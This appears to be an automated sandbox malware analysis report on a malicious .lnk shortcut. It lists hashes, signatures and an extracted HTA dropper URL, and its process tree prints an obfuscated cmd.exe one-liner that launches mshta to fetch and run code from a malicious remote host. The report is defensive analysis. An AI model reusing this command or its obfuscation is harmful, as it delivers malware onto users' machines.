Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:24

General

  • Target
    DOC-DIVBAK.lnk
  • Size 2KB
  • Sample260803-qnslsaab68
  • SHA256 00255d105758a1361dc8f8f63e6bb7d5e26eb1f65ea5fce097e78518fc31bbd2
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DIVBAK.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3412
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set KTlID=oldjhheofvxlfjold&&set kyzq=5wkmshl4r&&set DesD=x8tnt&&set eG=agba0a&&set HNIyf=datwxmjikxhzdsqwgacdat&&set ryy=tmptnvfasttynxtrhmtmp&&set nO=dbgyrhstdbg&&set Ub=cachedikxsipkzffcache&&set nWIu=3sr4q&&set UH=ttluv&&set PS=3dgartl&&set vq=oldlypkyyaold&&set JJ=cfgjvxmyrrtlycdatttmcfg&&set gyc=ht@tps@:/@/b@ro-@pdf@fille@r.@l@at/h/estag@io1@.@php?r=36076@1F@15@794&&start /b !kyzq:~3,3!!DesD:~2,1!!eG:~3,1! !gyc:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3440
      • C:\Windows\System32\mshta.exe
        mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
        3⤵
          PID:4072

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads